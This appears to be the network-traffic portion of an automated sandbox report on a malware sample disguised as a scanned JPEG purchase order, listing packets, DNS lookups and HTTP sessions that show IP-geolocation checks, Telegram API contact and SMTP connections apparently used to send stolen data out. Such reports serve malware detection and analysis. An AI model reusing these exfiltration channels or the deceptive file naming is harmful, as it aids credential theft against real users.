Oct 25, 2024 09:18:21.694411993 CEST	49773	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:21.694940090 CEST	49776	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:21.700973988 CEST	80	49773	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:21.701072931 CEST	49773	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:21.701430082 CEST	80	49776	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:21.701530933 CEST	49776	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:21.701718092 CEST	49776	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:21.707283974 CEST	80	49776	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:22.365217924 CEST	80	49776	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:22.367127895 CEST	49777	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:22.367157936 CEST	443	49777	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:22.367252111 CEST	49777	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:22.367595911 CEST	49777	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:22.367607117 CEST	443	49777	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:22.420686960 CEST	49776	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:22.978107929 CEST	443	49777	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:22.980201006 CEST	49777	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:22.980227947 CEST	443	49777	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:23.124188900 CEST	443	49777	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:23.124444008 CEST	443	49777	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:23.124531031 CEST	49777	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:23.125132084 CEST	49777	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:23.137742996 CEST	49778	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:23.137789965 CEST	443	49778	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:23.137907028 CEST	49778	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:23.138448000 CEST	49776	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:23.138514042 CEST	49778	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:23.138530970 CEST	443	49778	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:23.144227982 CEST	80	49776	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:23.144340038 CEST	49776	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:24.014157057 CEST	443	49778	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:24.014355898 CEST	49778	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:24.016463995 CEST	49778	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:24.016474962 CEST	443	49778	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:24.016901970 CEST	443	49778	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:24.018351078 CEST	49778	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:24.063340902 CEST	443	49778	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:24.258903980 CEST	443	49778	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:24.258981943 CEST	443	49778	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:24.259032965 CEST	49778	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:24.261940956 CEST	49778	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:25.608916044 CEST	49743	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:25.609306097 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:25.614990950 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:25.615115881 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:26.238082886 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:26.239008904 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:26.246808052 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:26.403197050 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:26.403522015 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:26.408977985 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:26.571563959 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:26.572483063 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:26.578128099 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:26.929665089 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:26.929755926 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:26.929792881 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:26.929795980 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:26.929811001 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:26.929821014 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:26.929850101 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:26.929862976 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:26.943955898 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:26.949491978 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:27.107835054 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:27.113454103 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:27.118755102 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:27.277189016 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:27.278655052 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:27.284167051 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:27.442811966 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:27.443223000 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:27.448729992 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:27.618113041 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:27.618520975 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:27.624023914 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:27.806359053 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:27.806718111 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:27.812200069 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:27.989905119 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:27.996187925 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:28.001727104 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:28.159889936 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:28.160912037 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:28.160912991 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:28.160912991 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:28.160912991 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:28.166570902 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:28.166582108 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:28.166835070 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:28.354264021 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:28.407593012 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:29.754060030 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:29.754539967 CEST	49749	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:29.759841919 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:29.759974957 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:30.363224030 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:30.363590956 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:30.369661093 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:30.525639057 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:30.526115894 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:30.531522989 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:30.688656092 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:30.689256907 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:30.694689989 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:30.856904030 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:30.856926918 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:30.856942892 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:30.856951952 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:30.857039928 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:30.857085943 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:30.859112978 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:30.864454985 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:31.021244049 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:31.026710987 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:31.032098055 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:31.189497948 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:31.190547943 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:31.196064949 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:31.352897882 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:31.355957985 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:31.361422062 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:31.520215988 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:31.524898052 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:31.530472040 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:31.712662935 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:31.715848923 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:31.721471071 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:31.893815994 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:31.894040108 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:31.899415970 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:32.220639944 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:32.221373081 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:32.221426010 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:32.221445084 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:32.221472979 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:32.229067087 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:32.229078054 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:32.230066061 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:32.230074883 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:33.465142965 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:33.465323925 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:33.465384007 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:33.465496063 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:33.465538979 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:18:33.465732098 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:18:33.465778112 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:20:04.921339035 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:20:04.926753998 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:20:05.085673094 CEST	587	49779	104.243.33.38	192.168.2.4
Oct 25, 2024 09:20:05.086663008 CEST	49779	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:20:09.780473948 CEST	49780	587	192.168.2.4	104.243.33.38
Oct 25, 2024 09:20:09.785945892 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:20:09.942873955 CEST	587	49780	104.243.33.38	192.168.2.4
Oct 25, 2024 09:20:09.943377018 CEST	49780	587	192.168.2.4	104.243.33.38

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 09:18:02.402071953 CEST	61311	53	192.168.2.4	1.1.1.1
Oct 25, 2024 09:18:02.410170078 CEST	53	61311	1.1.1.1	192.168.2.4
Oct 25, 2024 09:18:04.628822088 CEST	56335	53	192.168.2.4	1.1.1.1
Oct 25, 2024 09:18:04.639488935 CEST	53	56335	1.1.1.1	192.168.2.4
Oct 25, 2024 09:18:18.293863058 CEST	51482	53	192.168.2.4	1.1.1.1
Oct 25, 2024 09:18:18.301110029 CEST	53	51482	1.1.1.1	192.168.2.4
Oct 25, 2024 09:18:24.901798010 CEST	50596	53	192.168.2.4	1.1.1.1
Oct 25, 2024 09:18:25.606920004 CEST	53	50596	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 25, 2024 09:18:02.402071953 CEST	192.168.2.4	1.1.1.1	0x7ec0	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 25, 2024 09:18:04.628822088 CEST	192.168.2.4	1.1.1.1	0x408f	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 25, 2024 09:18:18.293863058 CEST	192.168.2.4	1.1.1.1	0x3658	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Oct 25, 2024 09:18:24.901798010 CEST	192.168.2.4	1.1.1.1	0xe4ef	Standard query (0)	mail.kafs.co.ug	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 25, 2024 09:18:02.410170078 CEST	1.1.1.1	192.168.2.4	0x7ec0	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 09:18:02.410170078 CEST	1.1.1.1	192.168.2.4	0x7ec0	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 25, 2024 09:18:02.410170078 CEST	1.1.1.1	192.168.2.4	0x7ec0	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 25, 2024 09:18:02.410170078 CEST	1.1.1.1	192.168.2.4	0x7ec0	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 25, 2024 09:18:02.410170078 CEST	1.1.1.1	192.168.2.4	0x7ec0	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 25, 2024 09:18:02.410170078 CEST	1.1.1.1	192.168.2.4	0x7ec0	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 25, 2024 09:18:04.639488935 CEST	1.1.1.1	192.168.2.4	0x408f	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 09:18:04.639488935 CEST	1.1.1.1	192.168.2.4	0x408f	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 09:18:18.301110029 CEST	1.1.1.1	192.168.2.4	0x3658	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Oct 25, 2024 09:18:25.606920004 CEST	1.1.1.1	192.168.2.4	0xe4ef	No error (0)	mail.kafs.co.ug	kafs.co.ug		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 09:18:25.606920004 CEST	1.1.1.1	192.168.2.4	0xe4ef	No error (0)	kafs.co.ug		104.243.33.38	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	193.122.130.0	80	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:02.420911074 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 25, 2024 09:18:03.298923969 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:03 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 03cdcc17f073dd2afa1ab36a286c9dcf Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>
Oct 25, 2024 09:18:03.305005074 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 25, 2024 09:18:04.494503975 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:04 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 118feeffaac86ae4d78e6753fc434cc6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>
Oct 25, 2024 09:18:05.574465036 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 25, 2024 09:18:05.732852936 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:05 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2d1906e079fe365e9bc1be7d01ace4d5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	193.122.130.0	80	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:06.529268026 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 25, 2024 09:18:07.213610888 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:07 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cc676d657f8f64ef8942483f7ae427f5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	193.122.130.0	80	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:07.308840990 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 25, 2024 09:18:07.969799042 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:07 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6e362202fddcc2f08308556d6c71fdbe Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>
Oct 25, 2024 09:18:07.974605083 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 25, 2024 09:18:08.132110119 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:08 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c66ad35d38ac976d66ee9f2adac2b712 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>
Oct 25, 2024 09:18:09.587796926 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 25, 2024 09:18:09.761153936 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:09 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b42d970f6b70e7403d835b335788129a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>
Oct 25, 2024 09:18:10.125269890 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:09 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b42d970f6b70e7403d835b335788129a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49743	193.122.130.0	80	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:07.984869957 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 25, 2024 09:18:08.649631977 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:08 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b47ed624f4d6bbff0484b6cbcb18ef16 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	193.122.130.0	80	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 09:18:09.417397976 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 25, 2024 09:18:10.125893116 CEST	323	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:10 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c758145f9593442ca46c02db27b1f202 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.81</body></html>

